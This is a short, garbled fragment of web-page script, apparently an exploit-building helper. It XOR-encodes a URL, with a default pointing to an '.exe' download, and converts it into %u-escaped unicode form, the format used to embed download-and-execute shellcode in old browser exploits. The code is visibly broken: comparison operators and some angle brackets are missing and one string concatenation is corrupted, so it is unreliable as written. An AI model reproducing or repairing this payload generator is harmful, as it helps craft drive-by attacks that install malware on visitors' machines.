SCRIPT LANGUAGE="VBSCRIPT"> Function Encode(s,n) Dim b b=UCase(s) For i=1 To Len(b) Encode=EncodeChrw((Asc(Mid(b,i,1)) Xor n)) Next End Function /script> script language="javascript"> myrand=window.prompt("url:","http://www.sohu.com/1.exe"); strVariable = (Encode(myrand,0x21)).toUpperCase( ) function gen(url) { var i=0,l=0,k=0,curl=""; l= url.length; for(;il;i++){ k=url.charCodeAt(i); if(k16)curl+="0"+k.toString(16);else curl+=k.toString(16);} if (l%2){curl+="00";}else{curl+="0000";} curl=curl.replace(/(..)(..)/g,"%u$2$1"); return curl; } document.write(gen(strVariable)); /script>
